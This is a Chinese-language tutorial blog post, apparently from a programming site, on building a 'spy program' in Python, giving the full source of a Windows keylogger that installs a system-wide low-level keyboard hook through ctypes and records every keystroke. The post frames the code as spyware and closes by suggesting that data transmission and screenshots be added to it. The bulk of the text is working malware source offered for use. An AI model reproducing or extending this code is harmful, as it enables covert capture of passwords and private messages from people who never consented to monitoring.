使用Python打造一款间谍程序的流程分析


Posted in Python onFebruary 21, 2020

知识点

这次我们使用python来打造一款间谍程序

程序中会用到许多知识点,大致分为四块

win32API 此处可以在MSDN上查看

Python基础重点在cpytes库的使用,使用方法请点击此处

C语言基础

Hook

程序的基本原理在于通过注册Hook,记录系统事件

那么什么是Hook呢

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用处呢

user32.dll

是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

kernel32.dll

控制着系统的内存管理、数据的输入输出操作和中断处理

流程部分

知道了我们要使用什么样的工具,那么第一步应该怎么做呢

1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子

HHOOK SetWindowsHookExA(
 int idHook,
 HOOKPROC lpfn,
 HINSTANCE hmod,
 DWORD dwThreadId
);

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为

WINFUNCTYPE

为Windows下独有的,通过使用使用stdcall调用约定的函数

CFUNCTYPE

 使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下

LRESULT CALLBACK LowLevelKeyboardProc(
 _In_ int nCode,
 _In_ WPARAM wParam,
 _In_ LPARAM lParam
);

按照官方文档提示如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值

我们转换为Python代码

class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]

def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 # 此处插入我们的代码
 pass
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
class KBDLLHOOKSTRUCT(Structure):
 _fields_ = [
 ('vkCode', DWORD),
 ('scanCode', DWORD),
 ('flags', DWORD),
 ('time', DWORD),
 ('dwExtraInfo', DWORD)]
def uninstallHookProc(hooked):
 if hooked is None:
 return
 user32.UnhookWindowsHookEx(hooked)
 hooked = None
def hookProc(nCode, wParam, lParam):
 if nCode < 0:
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
 else:
 if wParam == 256:
 if 162 == lParam.contents.value:
 print("Ctrl pressed, call Hook uninstall()")
 uninstallHookProc(hooked)
 sys.exit(-1)
 capsLock = user32.GetKeyState(20)
 # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
 if lParam.contents.value==13:
 print("\n")
 elif capsLock:
 print(chr(lParam.contents.value),end="")
 else:
 print(chr(lParam.contents.value+32),end="")
 return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
def startKeyLog():
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
def installHookProc(hooked, pointer):
 hooked = user32.SetWindowsHookExA(
 13,
 pointer,
 kernel32.GetModuleHandleW(),
 0
 )
 if not hooked:
 return False
 return True
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
 print("Hook installed")
 try:
 msg = MSG()
 user32.GetMessageA(byref(msg), 0, 0, 0)
 except KeyboardInterrupt as kerror:
 uninstallHookProc(hooked)
 print("Hook uninstall...")
else:
 print("Hook installed error")

贴上我们的效果图

使用Python打造一款间谍程序的流程分析

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^

如何想要了解更多的只是请点击这里把 => 地址

总结

以上就是使用Python打造一款间谍程序的流程分析的详细内容,更多关于python间谍程序请关注三水点靠木其它相关文章!

Python 相关文章推荐
详细解析Python当中的数据类型和变量
Apr 25 Python
老生常谈python之鸭子类和多态
Jun 13 Python
Python Json模块中dumps、loads、dump、load函数介绍
May 15 Python
pycharm重置设置,恢复默认设置的方法
Oct 22 Python
TensorFlow 读取CSV数据的实例
Feb 05 Python
Python获取二维数组的行列数的2种方法
Feb 11 Python
Python基于内置库pytesseract实现图片验证码识别功能
Feb 24 Python
Python3 搭建Qt5 环境的方法示例
Jul 16 Python
Python如何读取、写入CSV数据
Jul 28 Python
Python通过format函数格式化显示值
Oct 17 Python
PyCharm安装PyQt5及其工具(Qt Designer、PyUIC、PyRcc)的步骤详解
Nov 02 Python
python 列表推导和生成器表达式的使用
Feb 01 Python
python实现堆排序的实例讲解
Feb 21 #Python
Python中的sys.stdout.write实现打印刷新功能
Feb 21 #Python
Python控制台输出时刷新当前行内容而不是输出新行的实现
Feb 21 #Python
python编程进阶之异常处理用法实例分析
Feb 21 #Python
python编程进阶之类和对象用法实例分析
Feb 21 #Python
Python面向对象中类(class)的简单理解与用法分析
Feb 21 #Python
Python利用 utf-8-sig 编码格式解决写入 csv 文件乱码问题
Feb 21 #Python
You might like
PHP实现文件安全下载
2006/10/09 PHP
PHP数据流应用的一个简单实例
2012/09/14 PHP
PHP实现的封装验证码类详解
2013/06/18 PHP
使用PHP Socket 编程模拟Http post和get请求
2014/11/25 PHP
php获取QQ头像并显示的方法
2014/12/23 PHP
php设计模式之观察者模式实例详解【星际争霸游戏案例】
2020/03/30 PHP
如何重写Laravel异常处理类详解
2020/12/20 PHP
jQuery中对未来的元素绑定事件用bind、live or on
2014/04/17 Javascript
js限制文本框只能输入数字方法小结
2014/06/16 Javascript
javascript实现倒计时N秒后网页自动跳转代码
2014/12/11 Javascript
jQuery+AJAX实现网页无刷新上传
2015/02/22 Javascript
JavaScript中常见获取元素的方法汇总
2015/03/04 Javascript
全面理解JavaScript中的闭包
2016/05/12 Javascript
BootStrap使用popover插件实现鼠标经过显示并保持显示框
2016/06/23 Javascript
完美JQuery图片切换效果的简单实现
2016/07/21 Javascript
bootstrap实现每隔5秒自动轮播效果
2016/12/20 Javascript
详解微信小程序中的页面代码中的模板的封装
2017/10/12 Javascript
js实现复制功能(多种方法集合)
2018/01/06 Javascript
vue中eslintrc.js配置最详细介绍
2018/12/21 Javascript
利用Angular2的Observables实现交互控制的方法
2018/12/27 Javascript
解决vue跨域axios异步通信问题
2019/04/17 Javascript
小程序开发踩坑:页面窗口定位(相对于浏览器定位)(推荐)
2019/04/25 Javascript
python实现猜数字游戏(无重复数字)示例分享
2014/03/29 Python
Python文件右键找不到IDLE打开项解决办法
2015/06/08 Python
Django Rest framework之权限的实现示例
2018/12/17 Python
Python3实现个位数字和十位数字对调, 其乘积不变
2020/05/03 Python
HTML5 video 视频标签使用介绍
2014/02/03 HTML / CSS
职业教育毕业生求职信
2013/11/09 职场文书
小学生感恩演讲稿
2014/04/25 职场文书
物流专业专科生职业生涯规划书
2014/09/14 职场文书
2014年社区矫正工作总结
2014/11/18 职场文书
刮痧观后感
2015/06/05 职场文书
解决Nginx 配置 proxy_pass 后 返回404问题
2021/03/31 Servers
MYSQL数据库使用UTF-8中文编码乱码的解决办法
2021/05/26 MySQL
《战锤40K:暗潮》跳票至9月 公布新宣传片
2022/04/03 其他游戏
JS前端轻量fabric.js系列之画布初始化
2022/08/05 Javascript